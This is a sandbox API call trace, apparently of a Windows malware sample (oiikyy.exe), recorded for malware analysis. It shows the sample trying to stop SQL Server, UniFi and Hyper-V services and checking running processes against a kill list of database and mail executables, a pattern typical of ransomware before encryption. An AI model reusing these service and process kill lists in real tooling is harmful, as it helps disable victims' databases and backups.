	[0059.901] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0059.901] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e268, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
	[0059.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18eb20, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8d\x95\x1f¿\\î\x18", lpUsedDefaultChar=0x0) returned 256
	[0059.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x360e18
	[0059.903] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ec68, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiikyy.exe")) returned 0x30
	[0059.904] GetProcAddress (hModule=0x76d30000, lpProcName="AreFileApisANSI") returned 0x76dc40d1
	[0059.904] AreFileApisANSI () returned 1
	[0059.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49
	[0059.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", cchWideChar=-1, lpMultiByteStr=0x47b2d0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", lpUsedDefaultChar=0x0) returned 49
	[0059.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x39) returned 0x356b40
	[0059.904] RtlInitializeSListHead (in: ListHead=0x479ab0 | out: ListHead=0x479ab0) 
	[0059.904] GetLastError () returned 0x0
	[0059.904] SetLastError (dwErrCode=0x0) 
	[0059.904] GetEnvironmentStringsW () returned 0x360ea0*
	[0059.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0059.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x565) returned 0x361978
	[0059.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x361978, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0059.930] FreeEnvironmentStringsW (penv=0x360ea0) returned 1
	[0059.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x98) returned 0x361ee8
	[0059.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1f) returned 0x360778
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x36) returned 0x361f88
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x37) returned 0x360ea0
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3c) returned 0x356b88
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x31) returned 0x360ee0
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x361fc8
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x35bfd0
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x3107d8
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd) returned 0x360f38
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x25) returned 0x35c000
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x39) returned 0x356bd0
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x361320
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x361340
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe) returned 0x360f50
	[0059.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x69) returned 0x361360
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3e) returned 0x356c18
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0x3607a0
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1d) returned 0x3607c8
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x3581b8
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x3613d8
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x3613f8
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0x3607f0
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x35c030
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x29) returned 0x35c5e0
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1e) returned 0x360818
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x41) returned 0x358208
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x361418
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x360f68
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x16) returned 0x361438
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2a) returned 0x35c618
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x29) returned 0x35c650
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x15) returned 0x361458
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1e) returned 0x360840
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2a) returned 0x35c688
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x361478
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x361498
	[0059.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x46) returned 0x358258
	[0059.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x361978 | out: hHeap=0x300000) returned 1
	[0059.934] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="InitOnceExecuteOnce") returned 0x76d5d627
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreW") returned 0x76d5ca5a
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195
	[0059.935] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11
	[0059.936] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleEx") returned 0x76d5c78f
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandle") returned 0x76d6cbfc
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeConditionVariable") returned 0x77c78456
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="WakeConditionVariable") returned 0x77ce7de4
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="WakeAllConditionVariable") returned 0x77ca409d
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="SleepConditionVariableCS") returned 0x76dc4b32
	[0059.937] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeSRWLock") returned 0x77c78456
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="AcquireSRWLockExclusive") returned 0x77c729f1
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c84892
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseSRWLockExclusive") returned 0x77c729ab
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="SleepConditionVariableSRW") returned 0x76dc4b74
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWork") returned 0x76d5ee45
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="SubmitThreadpoolWork") returned 0x77cb8491
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWork") returned 0x77cad8e2
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751
	[0059.938] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1
	[0059.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x3614b8
	[0059.939] QueryPerformanceFrequency (in: lpFrequency=0x18eeac | out: lpFrequency=0x18eeac*=100000000) returned 1
	[0059.939] QueryPerformanceCounter (in: lpPerformanceCount=0x18eea4 | out: lpPerformanceCount=0x18eea4*=17992882278) returned 1
	[0059.942] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0059.942] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x0
	[0059.942] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
	[0059.942] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeConditionVariable") returned 0x77c78456
	[0059.942] GetProcAddress (hModule=0x76d30000, lpProcName="SleepConditionVariableCS") returned 0x76dc4b32
	[0059.942] GetProcAddress (hModule=0x76d30000, lpProcName="WakeAllConditionVariable") returned 0x77ca409d
	[0059.942] RtlInitializeConditionVariable () returned 0x47ba28
	[0059.945] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x407007) returned 0x403914
	[0060.079] GetCurrentThread () returned 0xfffffffe
	[0060.079] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18ee98, lpExitTime=0x18eea0, lpKernelTime=0x18eea0, lpUserTime=0x18eea0 | out: lpCreationTime=0x18ee98, lpExitTime=0x18eea0, lpKernelTime=0x18eea0, lpUserTime=0x18eea0) returned 1
	[0060.079] RtlInitializeSListHead (in: ListHead=0x47b978 | out: ListHead=0x47b978) 
	[0060.089] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x360e18) returned 0x80
	[0060.089] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x360e18, Size=0x100) returned 0x361cc0
	[0060.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x360a48
	[0060.094] GetStartupInfoW (in: lpStartupInfo=0x18ee88 | out: lpStartupInfo=0x18ee88*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0060.098] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18e098, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiikyy.exe")) returned 0x30
	[0060.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe") returned 48
	[0060.102] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x290000
	[0060.140] VirtualFree (lpAddress=0x290000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0060.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403e88, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8
	[0060.143] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x362c70
	[0060.158] lstrlenW (lpString="UniFi") returned 5
	[0060.158] OpenServiceW (hSCManager=0x362c70, lpServiceName="UniFi", dwDesiredAccess=0x20) returned 0x0
	[0060.159] lstrlenW (lpString="MSSQLSERVER") returned 11
	[0060.159] OpenServiceW (hSCManager=0x362c70, lpServiceName="MSSQLSERVER", dwDesiredAccess=0x20) returned 0x0
	[0060.159] lstrlenW (lpString="SQLSERVERAGENT") returned 14
	[0060.159] OpenServiceW (hSCManager=0x362c70, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0x20) returned 0x0
	[0060.160] lstrlenW (lpString="SQLWriter") returned 9
	[0060.160] OpenServiceW (hSCManager=0x362c70, lpServiceName="SQLWriter", dwDesiredAccess=0x20) returned 0x0
	[0060.160] lstrlenW (lpString="vmms") returned 4
	[0060.160] OpenServiceW (hSCManager=0x362c70, lpServiceName="vmms", dwDesiredAccess=0x20) returned 0x0
	[0060.160] lstrlenW (lpString="MSSQL") returned 5
	[0060.160] OpenServiceW (hSCManager=0x362c70, lpServiceName="MSSQL", dwDesiredAccess=0x20) returned 0x0
	[0060.160] lstrlenW (lpString="SQLAgent") returned 8
	[0060.160] OpenServiceW (hSCManager=0x362c70, lpServiceName="SQLAgent", dwDesiredAccess=0x20) returned 0x0
	[0060.161] lstrlenW (lpString="MSSQLFDLauncher") returned 15
	[0060.161] OpenServiceW (hSCManager=0x362c70, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0x20) returned 0x0
	[0060.161] lstrlenW (lpString="SQLBrowser") returned 10
	[0060.161] OpenServiceW (hSCManager=0x362c70, lpServiceName="SQLBrowser", dwDesiredAccess=0x20) returned 0x0
	[0060.161] lstrlenW (lpString="Browser") returned 7
	[0060.161] OpenServiceW (hSCManager=0x362c70, lpServiceName="Browser", dwDesiredAccess=0x20) returned 0x362bd0
	[0060.162] ControlService (in: hService=0x362bd0, dwControl=0x1, lpServiceStatus=0x18dec8 | out: lpServiceStatus=0x18dec8*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0
	[0060.162] CloseServiceHandle (hSCObject=0x362bd0) returned 1
	[0060.163] CloseServiceHandle (hSCObject=0x362c70) returned 1
	[0060.166] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0060.167] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0060.167] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe8
	[0060.173] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0060.174] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.174] lstrcmpW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1
	[0060.181] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.181] lstrcmpW (lpString1="[System Process]", lpString2="fdlauncher.exe") returned -1
	[0060.181] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.181] lstrcmpW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1
	[0060.181] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.181] lstrcmpW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1
	[0060.181] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.181] lstrcmpW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1
	[0060.182] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1
	[0060.182] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="mysqld-nt.exe") returned -1
	[0060.182] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="MsDtsSrvr.exe") returned -1
	[0060.182] lstrlenW (lpString="postgres.exe") returned 12
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="postgres.exe") returned -1
	[0060.182] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="sqlservr.exe") returned -1
	[0060.182] lstrlenW (lpString="synctime.exe") returned 12
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="synctime.exe") returned -1
	[0060.182] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="sqlserv.exe") returned -1
	[0060.182] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="Ssms.exe") returned -1
	[0060.182] lstrlenW (lpString="oracle.exe") returned 10
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="oracle.exe") returned -1
	[0060.182] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="UniFi.exe") returned -1
	[0060.182] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="fdhost.exe") returned -1
	[0060.182] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="mydesctopservice.exe") returned -1
	[0060.182] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.182] lstrcmpW (lpString1="[System Process]", lpString2="mysqld-opt.exe") returned -1
	[0060.183] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1
	[0060.183] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1
	[0060.183] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="ntdbsmgr.exe") returned -1
	[0060.183] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="sqlceip.exe") returned -1
	[0060.183] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1
	[0060.183] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1
	[0060.183] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="msmdsrv.exe") returned -1
	[0060.183] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1
	[0060.183] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="pg_ctl.exe") returned -1
	[0060.183] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1
	[0060.183] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.183] lstrcmpW (lpString1="[System Process]", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.183] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0060.184] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.184] lstrcmpW (lpString1="System", lpString2="ocssd.exe") returned 1
